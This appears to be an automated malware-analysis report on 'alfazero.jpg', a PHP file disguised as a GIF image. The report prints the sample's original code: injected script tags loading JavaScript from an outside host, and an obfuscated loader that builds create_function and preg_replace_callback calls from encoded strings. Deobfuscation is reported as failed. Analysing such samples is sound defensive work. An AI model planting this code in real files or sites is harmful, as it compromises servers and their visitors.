PHP Malware Analysis

alfazero.jpg

md5: 6299fc918edb4be2d1e970be173e2341

Jump to:

Screenshot


Attributes

Title
  • alfazero.jpg (2573×29500) (HTML)

URLs
  • http://localhost/alfazero.jpg (HTML)
  • https://gladiusphp.com/ (Original)
  • https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/7f175171.js (Original)


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces


Generated HTML code

<html style="height: 100%;"><head><meta name="viewport" content="width=device-width, minimum-scale=0.1"><title>alfazero.jpg (2573×29500)</title></head><body style="margin: 0px; background: #0e0e0e; height: 100%"><img style="display: block;-webkit-user-select: none;margin: auto;cursor: zoom-in;background-color: hsl(0, 0%, 90%);" src="http://localhost/alfazero.jpg" width="81" height="933"></body></html>

Original PHP code

GIF89a
<script src=https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/7f175171.js></script>
    <?php  
<script src=https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/7f175171.js></script>
  /*
  Obfuscation provided by GladiusPHP - Free Online PHP Obfuscator: https://gladiusphp.com/
  */
  
$b64x='MAEPFSwWXuruCgVkdkFvbbXQVpMqzXPKWtzCKVXgOnZqTVZWfEsGfpVAcHqadELawJCgdzMRlMGfHfbliSRNgMnIScJWGTWbCXHGVuWGfcLMhmxqendLzQSQSaMXThywEfBzYWfdyqpFbLvGyXQwNIleJYBbFYWjDxIBTmdrcswDCQizNyUZGgDpedPJbMsFIaFBMJsOANRCDZaPXVODbrrFufNURfYAFEArMRFlEwNGUnvRiiuJYjnsqAMGFjfJNfAYWeKaZWGtjbksJda';
$dcrpt='vtZvENvOTeQHVwtmDBOcZNNMRysdCutXlRsPdlcWqsDLNwxqwktvYFgpCYseRjBcBsREctatLcDyyZnTjfOHjuWkRNOIxpjXfaBiTaaEdDBBCnUkShSbBnmSaAZWpjTuJUCCUCFxeGYfTSrMZimZwYrVzrSNAkgiEikYKpvpUSuOjjZIRlhmKyIiOZvNJawNifktuFgpXAcgjBPalWNVuvDITXUCyqpfvzXPEdDBdeHmFVmQRZMLTOtMMMpJccOWbMkFpNFsRLEwHRMXqXIjLAVWmJFOMTjmevRtHVkzGOuMeFjUCRdNRYJDhOQtgZFKTVCBQMzVashEXryYHBLyZUAghqznPDxIyYInLgIkzpOVFmtmmEjlXjRezPRNsnwPldCwKKfIYUDEgvqSYYeVhVZgLqTCDpspSTjCDqjCJlFpGugFskZAGzfQOYsRNiFecOGeDpfLAjZfDgjVQjUVIZLVxDMjLrNmFtRHHwtGGsliXvDOdxikVugtWsbgiPTNHjuOFMTKeetBZVpcSXNNrtFMKgSSvkeBuzpZkiiOMBqLxdnpaaBrtGCCMvvGezgzxwXhdfVPHKBDnOrnnReGWGhhAbNFaUDxPZESeZgkJHmWUDKhUONQTvYTVLyVeAtTzWkcVsneYAatdjAxXNmrHKjCVgyZGQtelDgHUTktukLWUKSRxeHdpQGJWDhbSAfddMjxFuPyeZTYKLpgqWKdlPMisTjjuPMWBwtFPIDTHwrrhGXWCgZmVLvMEevxtGttblXRTAjAwBRcGnYHuXTphpALSUiKZacblzsezBFUBVWgiUNCrgqyvpIMIqwHrXIbwzgUAkOAFKHNdTOuZDrTRZezpZFeWNgtlmmkWBLBKsNnKaHjcyCtxHrkGVqDIwvuhHEdHOdsfqFqPLYRiAjeGAqmUFpcAJVHPzjxNmnSbSHQcFHLFqPkPEWiIkkhtfOieXeRJsiKJqAkuGVYVkJjnFtWQcDiIsQMOucXLKHTZHeTmzRiiAsxFjtvmVcUMtfaMHXXrEQrkuJytAfBAWXegPYSkAlWSrweXtbNxrDHklEDliDLfBpLPMczlnVEdrIAKiMgzqmiBrLMzpWdpknDwqchcXkFnsExArDyGqHgGRtEFpITZVWULYbNvlthcwFCMHAsWGYbxQGcEnvDIrySOYGIKyQMTvOfbnxYtUZPjeRORMrZC';
$str_rot13='YnWfOTWpUQSPOepsIMUhGagDmzncJmFgBaMOUhdnXVDMzrDgdxOiXukjtyMBkrHkQtYKAbyyxAJvQlCThPbeIlOajABuqiEfBbqbDmYZMHTCsvwzJWdsiRssrTkfBnkbpZCRlAqXGjAXdvWNrZEYQVPGnzLOMvqbURsfRIdWRcuuWqgMOjkdfzJSYTgKNwkHMDmcKqZaRtumhayVjIyOhGgfYmpLhZStbewLTUkjMEwtdTnNbkBiQHNOtbYAaQTbuOlmIwVTAQlcjYPkirtYxFMQGjqgaIHTwtgdnBwmsHqBFeLNUDkshWhmGWtGFAzASedFfzSxghXLlhYGKiXrFEDkZwqdvnEMtHryFiuLqrWbXUHgCdxgHzQfufjOumZltriXzCipseqpywUzzQGFpVKibtwvFwfxlnvKPDyggmUdIOCGEHksDvAdNwXSrcpCqilekKKrWEueRwKvcvlePlhbHetXghzwqjZBtirPlLTcGcWIximLTumAzeWFlvBCdZCxiSlTcEwIGsQDZcNswzRUENZPHAQLYshGkSAMwVvBMKDlMrDHPUbSHaIOZyzxQf';
$rENAh = 26+7+3+5;$HBbEX="MRiTxMYfEUqlCcIAtmOSMWNBJNhdyYtjqBDMnBsrUgCwiKvBwithFFh";$zWSReQz="JmVEvUnDpesAwSyTNsMyRZfgrltPSmvaZPETKrwywOXrfwksNwpevTklfDaxpVynjBHtScRNQndvJnlWKBaEuKpYMPwAjT";$TGP="OSIGKS";$iqmGz="LmAMHXTCKTAGttccnIJZfsfhxJHQSYQDlqOsNhtWaTDtle";$tJ="BpytFgDYfWIwEMrMMkbVVgvdRwEiSzZtmxksDOqij";$hrt="RnwqGFgDYUUdJGcmLvJ";$HcXBhJ = gqGXfYe('nkCQJgI1Qi91Q', $rENAh, 'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L');$hEhDAulAUr="PsgyWnKmxUChZsQmuaJZivyFUOGNOzhcrnBMbKYyFZe";$CzeGW="jgdxdJzDAxMTWrqSJbJJuDeGcqCHOmSXSVUwFtYEpKXlAmDinlrIPVNrkpYybQVtlPOqhMtVVqgvD";$CTVEC="MXOzvWIfVfvBGKCaltZFgwSjQHPiiZRuxesRAzwwFQwKaYklQjrWe";$qbPxK = $HcXBhJ("Y3JlYXRlX2Z1bmN0aW9u");$HbrcTefVqb="GTlBvMrHMOnKKvDAcrSeMFtGnultuIszBEaWPQDBFqKpjnnldfrPjJUycfQxmhV";$PhgARO="eVnbFDekrOe";$YphwKcquKt = $HcXBhJ;$BdnyhT="qlyJQmEJiyAjuiNiTCsRZDSgYTTtlEDBqbJFNmnvK";$CKKplJ="FyJwPtCmvMUdhMvkKdfuyMaSYhMrWwdBtMWHEyTYJNCqAwaJzfdXrDppL";$RqghLVC="xeRRRfHlBdMIziPrREiFZzsNeGjEFvcbYTTqyZBydMfbv";$qyepNfcKF="BzfNTIiGqRFRKEbpUDKvSUpKDJSP";$Gi="ITQfJqwgQOkQDpjzuVglRCJLnQMnwQfdKVISkeza";$CsS="GWHyyYYceGKKncGJQcwWPcFuYUCpnWRtsYQPWpRAUajhcqqssMpGnTzMNBa";$iFKEXcj="HQ";$rEnzCSx="jgdQSQxVSQlyQxxpRDZzs";$bO="rAVQigeV";$nD="hlDUADSMDEGqPSamXvYvHpyRtDbKz";$tzTVXlH = $YphwKcquKt("cGFjaw==");$EeKIQr="JrJGfyXazPPVaRUbcgLldqWA";$PL="QFrlucTGxiKsAWslBBvcEFhwwApszhtPMJaFLukhbvYBQrlrRHtULZqGZdXXkqlxYmbifMPggOgWetMvzE";$kBeT="sZrLJTOifVkSTBcEJyppEgbmEOjdJTwBSNlbfZjluTDNuFr";$tFRPvmLDmf="IcWfcbskGOCuSYmxPAPYOTBIOaLlWNWEPSiRtABZnctfAfbpFQMSiNBw";$MsQjD="JeNBv";$SJLRVl="mmTLqmISWfeMYrnbeDnLF";$pkaQUbqZhy="EQJGVNDCcdXAAPlwEvChqcgxVydnAvZElJjgVMIXPeXOtIjXClESNjOIHSvHmukyCudWfk";$mvyg="xhcXnETnDJWO";$uWnLM="rGHxfmSPtgbMNHpZkHTFKBvLysalAhrQNYNTKFhDLIpYOE";$tgC="CLYeuJKFelmaEtpNJDEaZzcGbAdXkuANezRyHaCLmnkqGzCqbfPAErfFqjbBcCNgaddHdeRqtbFYBHNbMCbQsgUIPWiRyv";$fknRz = $YphwKcquKt;$WL="KIhpLtIwCswBdMQpgJvBrIGuRAFWtdSDLZRWRAsTrnuUZj";$WsniB="wCbAtHuknO";$axnFeV="C";$PyJVsSHN = $HcXBhJ("cHJlZ19yZXBsYWNlX2NhbGxiYWNr");$SVOuB="clgaHWjZAVdOTVxFiwFsGJtGaFRkDUReFXflTOKTJNHDiDhrYmidvBjUFafhvWMZtRLLFvEOIKQQnxgLiOpDpX";$QIrzG="TqergajZcKiSb";$zfclhkLjw="tNxsNNgWypzKwZvIyCVZJpQtSnIgfQkXDgOQuUMRjKaeJvNGWIFewV";$ghHNhD = $fknRz;$b64x='gMAVEqjlPGUmDeAgyjeamlyfFBcUqXVWKVrNkZYzftMIxLnUURUgcsLHsNagkWcURSgBSeaXxletWRmqJGVkxGsOTsVDnxWEPcFgGFDDQgVlXIBfnVrkaIytZSVNqRQETvKZZMCPSxApeavSvLcwtAOstKehBVLUqUtPfUdXrElVEfNZQpUiOIBGseNtzXMPredwYgSOKEJpJVNAjHhyOhdGmrYkNjzENCzkJsYtvhgdCTcMZkjnRMTDCrOqZmTMPsWyiuQDaXgDqiOPSxcKivmLLaAKnSwCjRZSKpvLLBNbjBqbXRLFlyPWXpfkgalQRkIaZCkKDXLMXAmUryZCVOySDcDicOYtzfuyhEhKbtVYShtjFsLZfJSIkUrnhpGGUzDBdLkeDFCvlUdRlpqRXHYHBpUJdBOXzsyCChfelIzxCcNnrdeNKcuLspuvphRNzOPavuEGBDCDFqQVSUICwBMmPfgDNXQLkelFyPKZsmCWbsrTLyUGZHTnMZRYxgKHkvMhjwgChhXiYObilWPkcIzOgPmcvWjerVlZQtayAyGYlhgxDVhFcfSJueLOAUSqpdqFVPcVmhTypZvRvCwxHpfatrntkfIZIxEEmfzzmRxCQRtktphzcMzvclmnrVMYsqbdvZcgQzIgPBQHPXfrKdLMpyzFtKcjzEnTDPATnhZchPJwNnMWrXhFvgJmQkwqOiIRXhKKPJMWXUtjhefybNCwTKIJVEYilgZjnitcRfZPzsyHVEExrGSJqasKdQTpWsXJBrMsVkGTbeZWhdtXJLfYkxJNMbbhtzRTpcLJmrCNUbJBeCXNMckwZtiLuJtNhjfVLQdxHGjagsCktzXebHAaahkTRDGylMTWbWSICbJIuKsMiOrJwqJVyUOOWUlIfeEgbWPcXXkQHbcpQtYlIggFAUtxneetIhAidOLBLvrswtGlLdWTkCXKWQgjUKDCSCkvqVVaPmRkeWWQaSikvfUQVBZpkCrCDBXSVSsKEiUJfqYFiGPcLJSgJrUUTkwVkSOfkfpnOJWtYuXGZMIkUZQErKXJvtEFLRkVXzikhFDgyZMyLUIetXhJHeRbXwgIMrcJPKtxOvDmuOKEIRJbOQjUvbWsWczISBRHKJdzefkyUUCbkkCyAMsumNLipjqgjGnuqQSuWcrqwSrfCtDCeuVrhgYwPNcZuqSifKCBlsQgkHllZnNDHitOpQKdDMCwbuEGDFHnxxuHDesbRfdznwMbLVeOHgjhAnnDsUQOQKUTnmufRydEtpFeKiSQOBYOnLrGeGTUqOmdAHIQeLTxzXaifSZuTxhgHyMLDfeTtswSYdhCnaYMXzvCruVJqcQWZbHDgLVzCrQAuxbHxASTYmwOGryVTNrSOXvviqtKfJkzfLFcKyVhKrWQhTkaGCsTYNNgCgRIPBGuLLwwisDshYHprSpwTgPRTCYUIpbWphrZSMUAdXRlvzZMQOHiUwZmYxgGkIczPtzgeSGIPxtkvRwKFcSYzskWnRbzzdXNwVTanYhcUZMPqhzVKRTIIEEVveutiRFdlXDzVjCPINEYVDTeulMBpPwJTqBBgfFRCHrxRsMYeqWzspDkBOLPchYWxYxcEBtfIJcYAOWeDTDVhGfhTRxWyUSuSOwwPObWXdUWrQaTiEOQJuxCkTXImPbfdWasjBnGEhDuxDnfGBVpUsrELnlXDMCfhcWRDjxHQzaMcNRhplWIdmmOZXkbjmgQOcHQLExBcXnEjEMXQIGTusgSOQUXCaOqDvgnycpBzbeJFqGUxLmqCSirJCnKCBaEwGSTIgThhYQlNVgKgtZILHyuiMDkMDOhiGBrluySRNeFhKpnCNwmvTfDeJNRLCyuHyKtSHkiuONaXBOAOjMiCskgaYxkZUEfSnXjuisNwFnufbTTKeBlwMRVjnGIIjNAXLJrtaEnFRHksZDbEeMzQEUzRAgzJtyfdgxVHAjlQqwhPZItDTrtWkrnKxlTPKytqunWTWiJMdqBcxTerJxmUmZdJlwYVUQkn';
$dcrpt='FubmrFbBgTTHEceicOdDmgvppfxqPJQvdrguVHUBBmhepmMRAQulwOZKtwzifpciGibaQwCQIiuxvgnuwgFRvebNAAvePxMUfOUvJVkreENYjASFHWWbaXnaWJekFReKezEmuODXSQwBPngwjCWkYkkUtOfXejhIhLUbZXYRmuRbgXyrYTaWdKRwyWucFBKNLFOKblanfSplplCnfbjiLAeJVXLByvNIzatZLtmQKbcZmdMsfVaqVeYQbiQYdcGCCyCnrnDapFZCiLtNgScBWbrxJHUMJaplXqYnDBpsGNtnzLaeEcFZDvWmbqYkqMVnBTBETpVYcnLByLeBniBQDWCelBpCMjpnCpRvEMTGzEGWPKXcSysUTUYeUMfGVutWJjRMvKstNXPCgMdyJwsCqQfJblpxehtmrjYltqEgmShSElqmgInwXueYeSviZOwQxubQKewwXcpaNENTLAOhTSgXkaGjnbzLvZaEeVABXnakrNdcnSJGjPdTqJDDKbNEbNiFIIFfVFqlSSNfjxkTLnMawpdfrQKREsVLzAqueeeWXSBGOlzzzLZvzcApSJfVAaHYAwReBWAynBDBMCzKmyeLZeAsmFmmftkePCiqXimKiPkUQidcgInflNxXRKjWCUbrVJGSrSCzhlSXuWAAdmfOzCLqLvMnpmEjVKBMbckINdfGzFGbrLPPMAEyuqkIbnrxXRizttgFVllTqRUGCJUnJzkcnvkqJaMfsUEKMLPIwaBMRVRSEMFMkQPXKzmSzyyQsbaelPlIPlTfgKxkwbWfrkdBiPSInqXesXiclTjafcFLmbVhDsntCQTLFMSSbPXSmFvyYEYDgDnteJAgamzbctMhEdzetwxFBRCYvABaDntgWtmwFLyhDJpGNNLfJhjJyLHSlHtnULurDGMiQJqTtdzFQJKzqthNdnfOUybpiUFlZQuQAiislgWBQGafyHTBVyqPVQDDLHOKyhZxPhOApjbEpbJMhbmczbsusUxcCklzSlvHSIHGRIjfitRquDtteKlwdIXFTiDkTXRMeXsVFbAmuQDmTvFXErtHyPMQXOaRMscqpTlUUkGnbiaUcFRGvJNTyYJUMKkXbMnqGzJZiqNjXNdaRufmCsfzqnucxdZyQmnVkwUuLHciTGILZNXbfCAvPtWmxwjMIWgttalDhNLatSkSGhTkiSeYlBKhWttEqzwIYgkfUwGMnQEtyxcGqhdaINhEGAHVyDcwiMbchgPVwSNTqQZexcEEqLHVKNqhPsDYdEALjOGGHSzwIyAEaDHqnnKxBZdqrGnTKnETbJzICydJvcnvFUjsITnisrXhxLbgYezZOyhqvkYPNLKRftjmMxvdORLkCMQZqOzdLGSfqrvcbEUGWDSIzMlmEWWFhlFxADakiSQyiKaKnuqJwI';
$str_rot13='ajqugUkgvRRqugnKsSnZUwmNbKdDePgEyVxEpHkJYbYRHLCZcpYXjLjlUmnybTbznzDbFNjcnhuVsVUuJSrTcBEWNrupjwmWupXybgaqNukeOEyxVpqYptUBJppsjbncqkZsQZgDtQgguedpStmGMHgUvVmEWAGlkFcaeidxyJdrNgGeYsKjYretlrwhQBSAGVBKDdGBMJRZpWdnpnxMEaFprAwHbNgHIgQLjwlwFCvTzXGNKDYnDcCuDxaEkgKsnZCWvmszPlSnjyAtaXHdaIxDfWGPcPGPOiMIUDHJPzwyWvQxtxZSFVUjRZYTOdibLuiGWPOLnkiKFzGxvFpZAiirhGJvKrVvKEaHtPRgzaqDYVatZOtzxBpdhxYROTLXxMEqawVzVkbTFBlEqdcMF';
$b64x='QBMYEMFKzOFcOpKjkgNXuvhXISbSgdlWdXuHizRhmwjaLtjvzwstRAqYRRqXUCuxzNeILvpxQyyargUpDmHTMxRcnGaHhTdgfHnRbCnszkRPRMeTYkMjHcLUIkaqdewjLJANKmEiXvYOgCHEMSmuuYNBiOqmSLVcTUpDGSMDNjQTkWXWnjPHhDIQQXChiWjbQzeVQQzDzOWJLTeYCUfKWNZMKBTSxCuMayHrNfTLUPuehycKRHTNuSzEtRVpuOaTlHjymDiGsbjZZlJQtbElTCPLukzNYzGKFQHrtqWjrfiPRrGjsJvKkKUEutQsRxBWMimEXJNnOwDeliNdrINBRIFkavbsRDnckZGHITuWpWAZEncUvQwlXAVXUWOlYbnIBupimJeaFeZjscDlSyxPXslsNacMBPTbiikvrOvvSvdJWHUneQCCHNTUmVfOKYPTGzNWNiRecUnYBHLfymHEZAyMUDAEbOWHNKdAsUdTnrrpYbuVnazMZxytzXWAltHYCKXTdaMrscFqdykQXJCWFapexLdIDKGeTDXWEiNVKRKmqUcmcEJIdxlBHpijZPnsRKOUSBPCRznGSqtVubcxXnXFCgOavCtLlgGegUfxTTdLiwfbWhztvVXXblxVmPHyvMbaGHyzAaKIwPKRXIjsDHOeslzEAfbVrDVXjSVJSFQNvAEsHniKuxOLImOHSpCiRXFapBJhfAUZzYQGLZqEwDODPCjgQlPhIuhWurDAqXYnVPTfnIJikxLAyuGNevUMpCiIsLHgIGucUNhhvqqflAFJTkxyfQjTRRaiDIpkNiNgVUnPKcUVCzFUjBsOrbHISHQvOFfaNSghluWVwrrxpvsyViLLjRtCzJWMnBNaSthEmDYhTpFiJwfEERPnIhPGqktDlFDdxjHJNGRfuwndrugukVgsDVYSGQwRUyurhbaUgrZAlNDCgjvQeChgxFzCUUtORNFYnFsTvRtGEwHjFbziDfqALObFhUTyHyWuCnmWEeCHAIQEJONmUCMePmJwgbTmzPGADswGxxnweDAnsMALNLPCxXXEZqQyFWyHNTMJQZfUceHTQgEcrtEOqaROPHMTcjAQcmzSLdmmHtfWAiYqBbDrbuerbQjDZjSCVsTGUFtCYyyXHxmHyQXZjCPKsYNRHFtCwLIrraspXPldLXLJmhhWiWGauSRbyJDTuKJKKayhqikaGviSDqOLlUkGMbHjjJDETlNDmLjbTvbzPKRRZFcLzmrlOxUXFxayJOBvzKwREWQTGHKfLlQkYGVMCpJgMjevXepVOKlSGbLMhURTggDEMXqnlyTXHxRdBfyPpKHvkRgtLxLrDNUpKJbvhuSnRisspPGcYmxjDcbpzleBYzphhqCOjTCactRQhySGjPPNRqBQBerYDGfkvgYdaZdcsvSZsjFBYTNqInfiSVgvaLFVrdYrccSUWjTnTyORQbGyOLfGgLbgwfbMIaDkCUeyEXLxUYNjZuHOEMuKxUrsasDhRfstAwQdSaZlzMvXFBLjmFtiYJAYbDGShXLHTajkBixZvrWZShiEMCNKkMiLOOdWkODdnmOOvkNPaKPSRxWcyiliUTTJHwesJHUXTILOsYcthrkyOgAlpkuJeNRkiVCsbxpvezixxkpdCYBPfAATLubpgszOMbfnyTIbtqXpZlSaktPPtqhdJJspaqCmrIAnaH';
$dcrpt='ZMHmGRStzZIzMdCvCaeTnOAvNqRVWcIWnOIUFBMeZTcLWEFydJQQyQkKfbFcEMyrAfkFfWiEpkOkntiQcYGZOqJURNwvzTLyywCdRKHgUwQHOYWQXCpksXeijZDhsNfQIHtAsZfLvVtjuOzrrnBIkfqUesbWeglNOEMfDRqylhgFWFvmswuDBJWeaXaEELQRpCwSSLqETwiPAEBSZuUZcQdCmEFqpVgdxCVPnKtgFavEEVwcpPbQeFRRIVgwQnzNpTCCcuhHublywgZKwbZAfqrmlXhBKHnYZpacIHiCJTZeaYpVzNvddlPOIXpsdDPCRPdZxmBFfZiFxxAwkvYnfOBNLPEnstPjiTIefiiKHrPDOOYyIXkmkLZVADISWxBEqIhUqqeWGtzTGXQOUaaekazLcgcyccBSKIMZxqvdhTwOqmCJMCmXbLhErjbulDlvKxThmnKuGFHWRIFdKSakchOuQQmBSXVCTOifBSZgyfCOnhrXzrhaXwTmLfNDChEwvNaVezCbedqsKGOixvjuQCHBITDJbhewuFRyDtAHwPYgUMOrhxLXZRYgjBPkhugByXZaqYIkmfrgsFyzBIVAYTfhUVSbOYDlvblKztukYkQqPNOqUiqSCvAwPsWDPzOjZAtXsMhqWYFkLSBGbqXcKxXAnTccSrLRqdPHqwxLubWFuWKULHWvETuRMWuEmEVChjIxFeHzGDDZYmTJtpEwhXNtTgxFKRGRaONeSvcyxFWwrpEjDhFjFscyXzDhqiyPWLtpfwlbAIWRWBAZheIMWKKtimAXUylriFeNaqnZXkqukPSsuAEqknhSAhQTFbjmfNzFdMFAwUtGjkyDLbsVpzNnGcGkEQWJcUOfHtfCMyIVJfXTGpOuOaHuDMegbapeVcjbUOcgmKBvpznUNBNBBTvdGzJHYYLtAvTUiWAUfapvYbOMCCMDvGfAEPhDmSvlmpfVKFPpfeidFXphYBKSgptkdZNqRHCEVgzelnurRCTxYIEwiNpObgYFfkuwSVZmCyRNlKDcLwzKDCFLOtZQzxUdInAZjzlkxCxIlZjXUJgyKLIzeHOcEIglVfKEdvOZXkHIJrFEzkBiwigZqUbTbHEXMnaqhppeYwNIMRLkClSXTZWitxbveFRqsrFAFuddPqkahvkJGCfzabhuyinbnEseUwEZPhcdxmddHnMMqrKqsrJqZwrmZhQuEUtSbUWygZCmNNyceHRVYakXwbJViYplSHetBARgzSSLePmIwedTeNqZOyUXxiippMIPlYvkqmVTBICxMeqqRfpGDJcZrKOGxVUhTqsIbNBDvCZGGOVyTJDxRFVipJnkEhtWWjEYwFaqgzVmmqjGzMCqQxXegkPjtHgpQjMMOlbvKxHxlqcKBEAraxUGhJQZqwNGFAsuLSOVpUsaJuKjxJZWGTDNcSMRnYWSyNlJGzdu';
$str_rot13='DfQuBQUZGwkYCCylpYvzbzLeDlaKrhkUmbNmrHmWdWUFysqlQKkRIVvlGvvxbGQpgDaxjMuMInQFffrVpBlXVGiBAcXCINqOPqlzcekjsBpWfFRvfcRahZaIByJjKyxANhYplIYEImZORRIwtzwaXVhytQgdnEDAkapxImArYzEpPlKIjFIgAPdteKwRNyrXyeuFQtvOSYcHJlOSQwyQKbiOLEeyBVvYZpcQHyEYVgfFsTWIqUyzVfnGiRDJMXgMLibtferbkwGcPbKeVHDQMqVuHyctVIEGqFywKpxUKCwzDfczlfOxUjQBHsubZXIqDfLMTHfEiCCkgeitJXpDgfEmxXpWuwlwaWhUcnXkPzUVcdNLAcOfHRsDnfzHBKdCfkVhySRMQMhTpUdOwrTChKfvqEcQOFRtPMB';
$b64x='CBTFydqZkeZcphNOiBLNxJGwgZfpLLRmMKsjOgJYkhAYpNMXnWKjGPelOkZZVQLHBcrOiZlSGkQVXbsKyBuDqyOeInDdDnjDQZrYybreMGzihQTFrMHGjUjshMULadNQDEnaFderKDArtSviEbpmVydDKXNKBAZddMdiqIYZkXPdPjLSkZFFXIHHfuQfupiWaLeqSdODaDfqlQHVqLBmuHTYBJdUXLqXVvNOXarxdVlpLtkadkmWRfUsnxLkhbIDVUQsUGnXBAmlSWMvgysxdlPriZCPajsvdHMxmavNZgzrcKLIhcekOtCWtdLSMDNpjYkWYFJxkHNMrYTYaYinQjjImvayxNlfLxbjBkGlRTXIRRGrpnFEynmjhmhEZtjjpktQvzbMRyuIOzycMcHJQtTXFabdtkMhUfXqdybUVUbKSzldCsNRKGOOfpryYdeTIbiLYJeucfDuEOxFGjwPpKduyusxWwqdXXnVfspHWRaBfxFkgBzvKCPhwGdRbSVYpiuuaIAWZAxExCnDcMXMOltjRxATOvrddKWdSxZrWWUtyHvZttkGdDpVzPnnJEQMOMPGiPWFLqxIWSHOKrvNtJhsyUFhYUTMGiRpxNTHCPpyHvlrLfEDPkUmfYTdSmpzvfNRsfyTUlrbGbRQhUSWfNIkLbNEnbChgOYyTVQmggnlHFBOztjEfsnrtAUfBwmgjKdCFTOkzCVgGVueNEitVwJnWcSWyeDgOGISZVCXWWdCRygdBpwwjeiFGaCdeEJsJQjIlkGhgijXfqAGdWbmAJSgiTJmxtdFIMnTWtBcaKzgzZMCvOnUWfafyKRuCVZjgMddEEFENEKlDxmXKArGfskcBcxCxVLDHnfKrLndpYOrUaNEadJfUUhvwdWsyhUevAOMkCpYAdpuDBxDEFhzzPtusqLQWfureICOjRMiUACWayZdcGCbvVvmKGcGkVwpDYClPnuimveMSDPvjRwdMqqVvRaFmwtPTUBhHUqtqUeHxubGkxjwmzrHQrMclErfYRMFMcyBwChSVJYFFhaRfrYvgKWSNnxLEiQPknqGpXYKfwpKcqbHGZcmJYewLBHqJxEujuzyQxhVsxeulfbredDmBgiMHPBQLejUyIsNFZIWVNQgSRxxuAJUfRGNfGcQLLKISCwWBdTVqJbIZXetWmMcESpJyQZiBiRtKMqKPIeFQFmPcQHYctAfknpJdnRdVhWfTLPituNIYzxaODzqVYwgMKPPxfTsNPxGAMnsfAzDyvElXcCSAxYlGmBctuTFIrkHCYygyWJWrmHnOiFOeEZKqAMItGmAwXgxvdDSzlnPYVClDhZIkzsAYEIRJureQXakaDDAnQOLkrxnXwvhUlgtPOjXIAByxBJXdLxRaKClaYYxUtdnEkGTypQfpsdLSlhwWdMWOnHOMFLGXOtbyZuWNJBbaEmtPunkyZhlMOzyuJDQyWrVvKrhuSjTVVLkpyvlWCxJrwGjeJzbFQXzZNfSFOlaJwkyUFJQhGYXbFGFneHsudquQvLVjWVstfPMKzbreaNFetjRXqIrtXjJRVEArzSidHumFwdJVQNZJXqfMXVfUfOkARLqqDzSJSepNhXIykgGhwLttGyMkLXjCIArKyitPNHDUeKspRXVMhnFOlryWNIYUHOEExXSjdvdhFVVVsQHZElNPcKkPRIKXxNBTKucnnFUSZQNRfUQJfcXhMIxdqgalTCEdvfQILKajAmafgQOMSlTetPhIVhupiXRDdHlnrLxrXywENJqGuIjMyrUSynGHKxJNDUaueXjcveGhNVmHcwtAlMtKZyQKvYWXtxQxuZzndEUrYhxbcPBpCtyaRNjLLgIdDYBwxzJBdDrbjNcmbdBcwYdMLmxVSFZUDAqZYYZBbPDkbFxdhxfdUIPevMamQZhSYWrwVQXWFAGHEDjMZOPUWdyrpyceWJWUGNraDnWHmbNQEWbdkQxgUUWityNphiJNVZNXMiFyjsnnOqryFNEYHZhzxunECWQyvcUgkzdURrHefXCkjFiQEPPAicEkYTItWCYGBbARRGVxDxHMBpcEeRdMTgWradiWfgCGHCxXhRukNAwnPyRtOUegBBxBEFWikXORzKPgBIQnilaxjRpxlSEMta';
$dcrpt='rBwnfrcZZWBZRjDZxBGUeLeAJQfZzuPqUKczAEzYBzXRIAQEbVzFGcFOsKnrDCfWlhwkLujLSGCaGSEgNCLTEqHwA';
$str_rot13='wmGMMNAnrxlXSnULwHJrZMGKutqTvaqqmVCYhbMzXXwPKPZfwhxUtCFNUUGPuveGQGFXHQVENQSWGsbbzXWSZaFTUKIOfmuVSysAnnDAdVwimXkLuGDtGHmZRuNWGHrYehySUAsyvOGgkqsEVUXabJAsCMNitdgXKdPFcGcXTIddYUItPeTqNSHpEuWxWCTGeIKhNlEHUgKsbsjqVceIukXyEtUZVmezupGgAJNuQykrpvGkWjSrupOxhhwcuZBNnHTOPgHeESvsMACIiUyCILYPSTrLtsXGyrTmxasaSlsdlukuNJWvTuKMNaWfRUkpkeCHetgwdXYpQiiDrEykXhwjHRpzLZNvDOBgGgbKeZyuhGXYjvIHCdQiUFHfEUAgIBmpHNykMVFtbCrkwYrxBHFwlMapfZUmAGBHtyReuwxUxneslVOmCTINehBjgvwgaxNtUdWNZtHwflnsgbEIULUYsvhXpddpAqgTucHtUNnaYBReDUlWeFVwzCtNFWBElgyFiexDRLDqLTTnNfKrjFMJGEVLAWplcMQlqNOHyQWiJPWVuGlEKXMqagaacPlfBBQRndXkT';
$b64x='TJjfupUFOnsnrjqNWCEbsKibydCnLsDdaMiTACynppaFyqsTrwUJfdKDGLrQcTTCeBvEcsrrHrveflYVHsEmUNpZYFPaXhcbIxejPUZVKTzPfWklOOXIbmhZrwzpEBqLYUVmOuHznfNScXDQlaXmmelcBKrELgpiaJUnDBMqGZHhWjxhjvuVYeYYpObZuQHuzBhBbTQgSxOpgkwPeqLDTiBHwcfQSMJrmQsNjhuBehPkRLzwAJYSrYANaFcSsLJdbarkHKkkrAUHKucJcaBuzagzfIRWtAzTZPdGYOrpnkWxEyfgzGAxgfVLNMHFLfzKvbQtPgICQdYvBdBzjAVPFrARCGwnLUXFWmYkSfNJIkdiOdhXDCMHSLyvrThBnEgJReTiJfRrrUYexfBzhmfZXcTnwAnJeuRvXKDGqvwGOvjLZKjgWPGtRYfmztvDmlxjwzqLTLQhFZSeJBkeqQWhPbTNTOPfzlPUKeedpUKutCybcIFSYBZmCsZVfOaFzpYISdLHxvaQwXrYFWQcxpOzfmulATqYingAQRgNMgcHdtFiOUKLiYjpkcZLvpicbpDsGJeRqgySYdAmxKXGIGuSISccgLFHzhyeQCvFhTXGwxSSgpXOUrgbiIDOShVsptVFvrJbJGHedYWJmUyGKdHtkkgdsBvgUPLpfuqOaxsDvplhIiNRLUjWeQZVrTbkIlYnfObFkuhehSlpbzfMtPIWFgRvZtfhEdviRVNBOuGvmRJNqpzhdHdhmVCMnHTrLnZbIMDxGiRszaeppcwRiAYwvAhhHaXsNWSUivrncIFChJQVLLMukjPFiwlPwjGIFzCmttAVaeWHmlCyWnRhWGMebyUWgAdkyFyRxxMWCIDOTeLpRCwNhIsIflElkHwJMtZiQkfRsheKmQYDsvrAcIHHtLsDRNLDGKlwUQmLXrvJgumYODyqKEWCpnEgAqifZuauJmeHdZqJtCHGEEVNirpWETcDIl